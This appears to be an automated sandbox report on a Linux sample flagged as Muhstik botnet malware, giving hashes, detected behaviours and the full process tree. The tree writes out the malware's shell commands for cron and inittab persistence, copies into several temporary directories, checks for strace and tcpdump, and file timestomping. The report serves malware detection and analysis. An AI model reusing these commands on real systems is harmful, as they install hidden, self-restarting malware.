Analysis
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max time kernel
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max time network
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platform
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resource
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submitted
25-04-2022 23:53
Static task
static1
Behavioral task
behavioral1
Sample
pty3pejnyxxb
Resource
ubuntu1804-amd64-en-20211208
General
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Target
pty3pejnyxxb
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Size
98KB
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MD5
582a434ba0f2e04bd8b5495c50320068
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SHA1
b3888d650646aa63423765e686a14ddc82ee52be
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SHA256
7d3855bb09f2f6111d6c71e06e1e6b06dd47b1dade49af0235b220966c2f5be3
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SHA512
5d4075888d1414f57edd832c6fb7151103af441eafebfdeb97be077bcfa504429f792c1fb23f18674aaf94ba1c6fa8d42e7c73a0d7f2d845f7d9faa605ac6fe4
Malware Config
Signatures
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suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
suricata: ET MALWARE ELF/Muhstik Botnet CnC Activity
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Writes file to system bin folder 1 TTPs 3 IoCs
Processes:
description ioc /bin/uname /bin/uname /bin/crontab /bin/crontab /bin/nvram /bin/nvram -
Modifies hosts file 1 IoCs
Adds to hosts file used for mapping hosts to IP addresses.
Processes:
description ioc /etc/hosts /etc/hosts -
Writes DNS configuration 1 TTPs 1 IoCs
Writes data to DNS resolver config file.
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Modifies rc script 1 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
Processes:
pty3pejnyxxbdescription ioc process /etc/rc.local /etc/rc.local pty3pejnyxxb -
Write file to user bin folder 1 TTPs 2 IoCs
Processes:
description ioc /usr/bin/crontab /usr/bin/crontab /usr/sbin/nvram /usr/sbin/nvram -
Reads runtime system information 4 IoCs
Reads data from /proc virtual filesystem.
Processes:
cpcpcpcpdescription ioc process /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp /proc/filesystems /proc/filesystems cp -
Writes file to tmp directory 5 IoCs
Malware often drops required files in the /tmp directory.
Processes:
cpcpcpcppty3pejnyxxbdescription ioc process /tmp/pty3pejnyxxb /tmp/pty3pejnyxxb cp /tmp/pty3pejnyxxb /tmp/pty3pejnyxxb cp /tmp/pty3pejnyxxb /tmp/pty3pejnyxxb cp /tmp/pty3pejnyxxb /tmp/pty3pejnyxxb cp /tmp/.bawtz /tmp/.bawtz pty3pejnyxxb
Processes
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./pty3pejnyxxb./pty3pejnyxxb1⤵
- Modifies rc script
- Writes file to tmp directory
PID:593
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/bin/shsh -c "pidof -x strace > /dev/null"1⤵PID:594
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/bin/pidofpidof -x strace2⤵PID:595
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/bin/shsh -c "pidof -x tcpdump > /dev/null"1⤵PID:596
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/bin/pidofpidof -x tcpdump2⤵PID:597
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/bin/shsh -c "cat /etc/inittab | grep -v \"/tmp/pty3pejnyxxb\" > /etc/inittab2"1⤵PID:600
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/bin/catcat /etc/inittab2⤵PID:603
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/bin/grepgrep -v /tmp/pty3pejnyxxb2⤵PID:606
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/bin/shsh -c "crontab -l | grep /tmp/pty3pejnyxxb | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /tmp/pty3pejnyxxb > /dev/null 2>&1 &\") | crontab -"1⤵PID:601
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/usr/bin/crontabcrontab -l2⤵PID:604
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/bin/grepgrep /tmp/pty3pejnyxxb2⤵PID:607
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/bin/grepgrep -v "no cron"2⤵PID:608
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/usr/bin/crontabcrontab -2⤵PID:611
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/bin/shsh -c "crontab -r"1⤵PID:602
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/usr/bin/crontabcrontab -r2⤵PID:605
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/bin/shsh -c "echo \"0:2345:respawn:/tmp/pty3pejnyxxb\" >> /etc/inittab2"1⤵PID:609
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:612
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/bin/catcat /etc/inittab22⤵PID:614
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/usr/bin/crontabcrontab -l1⤵PID:613
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:615
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/bin/rmrm -rf /etc/inittab22⤵PID:616
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:617
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:618
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/bin/shsh -c "/bin/uname -n"1⤵PID:625
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/bin/uname/bin/uname -n2⤵PID:627
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/bin/shsh -c "cp -f /tmp/pty3pejnyxxb /dev/shm/pty3pejnyxxb"1⤵PID:626
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/bin/cpcp -f /tmp/pty3pejnyxxb /dev/shm/pty3pejnyxxb2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:628
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/bin/shsh -c "cat /etc/inittab | grep -v \"/dev/shm/pty3pejnyxxb\" > /etc/inittab2"1⤵PID:630
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/bin/catcat /etc/inittab2⤵PID:632
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/bin/grepgrep -v /dev/shm/pty3pejnyxxb2⤵PID:634
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/bin/shsh -c "crontab -l | grep /dev/shm/pty3pejnyxxb | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /dev/shm/pty3pejnyxxb > /dev/null 2>&1 &\") | crontab -"1⤵PID:631
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/usr/bin/crontabcrontab -l2⤵PID:633
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/bin/grepgrep /dev/shm/pty3pejnyxxb2⤵PID:635
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/bin/grepgrep -v "no cron"2⤵PID:636
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/usr/bin/crontabcrontab -2⤵PID:639
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/bin/shsh -c "echo \"0:2345:respawn:/dev/shm/pty3pejnyxxb\" >> /etc/inittab2"1⤵PID:637
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:640
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/bin/catcat /etc/inittab22⤵PID:642
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/usr/bin/crontabcrontab -l1⤵PID:641
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:643
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/bin/rmrm -rf /etc/inittab22⤵PID:644
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:645
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:646
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/bin/shsh -c "cp -f /tmp/pty3pejnyxxb /var/tmp/pty3pejnyxxb"1⤵PID:647
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/bin/cpcp -f /tmp/pty3pejnyxxb /var/tmp/pty3pejnyxxb2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:648
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/tmp/pty3pejnyxxb\" > /etc/inittab2"1⤵PID:650
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/bin/catcat /etc/inittab2⤵PID:651
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/bin/grepgrep -v /var/tmp/pty3pejnyxxb2⤵PID:654
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/bin/shsh -c "crontab -l | grep /var/tmp/pty3pejnyxxb | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/tmp/pty3pejnyxxb > /dev/null 2>&1 &\") | crontab -"1⤵PID:652
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/usr/bin/crontabcrontab -l2⤵PID:653
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/bin/grepgrep /var/tmp/pty3pejnyxxb2⤵PID:655
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/bin/grepgrep -v "no cron"2⤵PID:656
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/usr/bin/crontabcrontab -2⤵PID:660
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/bin/shsh -c "echo \"0:2345:respawn:/var/tmp/pty3pejnyxxb\" >> /etc/inittab2"1⤵PID:657
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:658
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/bin/catcat /etc/inittab22⤵PID:661
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/usr/bin/crontabcrontab -l1⤵PID:662
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:663
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/bin/rmrm -rf /etc/inittab22⤵PID:664
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:665
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:666
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/bin/shsh -c "cp -f /tmp/pty3pejnyxxb /var/lock/pty3pejnyxxb"1⤵PID:667
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/bin/cpcp -f /tmp/pty3pejnyxxb /var/lock/pty3pejnyxxb2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:668
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/lock/pty3pejnyxxb\" > /etc/inittab2"1⤵PID:670
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/bin/catcat /etc/inittab2⤵PID:672
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/bin/grepgrep -v /var/lock/pty3pejnyxxb2⤵PID:674
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/bin/shsh -c "crontab -l | grep /var/lock/pty3pejnyxxb | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/lock/pty3pejnyxxb > /dev/null 2>&1 &\") | crontab -"1⤵PID:671
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/usr/bin/crontabcrontab -l2⤵PID:673
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/bin/grepgrep /var/lock/pty3pejnyxxb2⤵PID:675
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/bin/grepgrep -v "no cron"2⤵PID:676
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/usr/bin/crontabcrontab -2⤵PID:680
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/bin/shsh -c "echo \"0:2345:respawn:/var/lock/pty3pejnyxxb\" >> /etc/inittab2"1⤵PID:677
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:678
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/bin/catcat /etc/inittab22⤵PID:681
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/usr/bin/crontabcrontab -l1⤵PID:682
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:683
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/bin/rmrm -rf /etc/inittab22⤵PID:684
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:685
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:686
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/bin/shsh -c "cp -f /tmp/pty3pejnyxxb /var/run/pty3pejnyxxb"1⤵PID:687
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/bin/cpcp -f /tmp/pty3pejnyxxb /var/run/pty3pejnyxxb2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:688
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/bin/shsh -c "cat /etc/inittab | grep -v \"/var/run/pty3pejnyxxb\" > /etc/inittab2"1⤵PID:690
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/bin/catcat /etc/inittab2⤵PID:692
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/bin/grepgrep -v /var/run/pty3pejnyxxb2⤵PID:693
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/bin/shsh -c "crontab -l | grep /var/run/pty3pejnyxxb | grep -v \"no cron\" || (crontab -l ; echo \"* * * * * /var/run/pty3pejnyxxb > /dev/null 2>&1 &\") | crontab -"1⤵PID:691
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/usr/bin/crontabcrontab -l2⤵PID:694
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/bin/grepgrep /var/run/pty3pejnyxxb2⤵PID:695
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/bin/grepgrep -v "no cron"2⤵PID:696
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/usr/bin/crontabcrontab -2⤵PID:700
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/bin/shsh -c "echo \"0:2345:respawn:/var/run/pty3pejnyxxb\" >> /etc/inittab2"1⤵PID:697
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/bin/shsh -c "cat /etc/inittab2 > /etc/inittab"1⤵PID:698
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/bin/catcat /etc/inittab22⤵PID:701
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/usr/bin/crontabcrontab -l1⤵PID:702
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/bin/shsh -c "rm -rf /etc/inittab2"1⤵PID:703
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/bin/rmrm -rf /etc/inittab22⤵PID:704
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/bin/shsh -c "touch -acmr /bin/ls /etc/inittab"1⤵PID:705
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/usr/bin/touchtouch -acmr /bin/ls /etc/inittab2⤵PID:706
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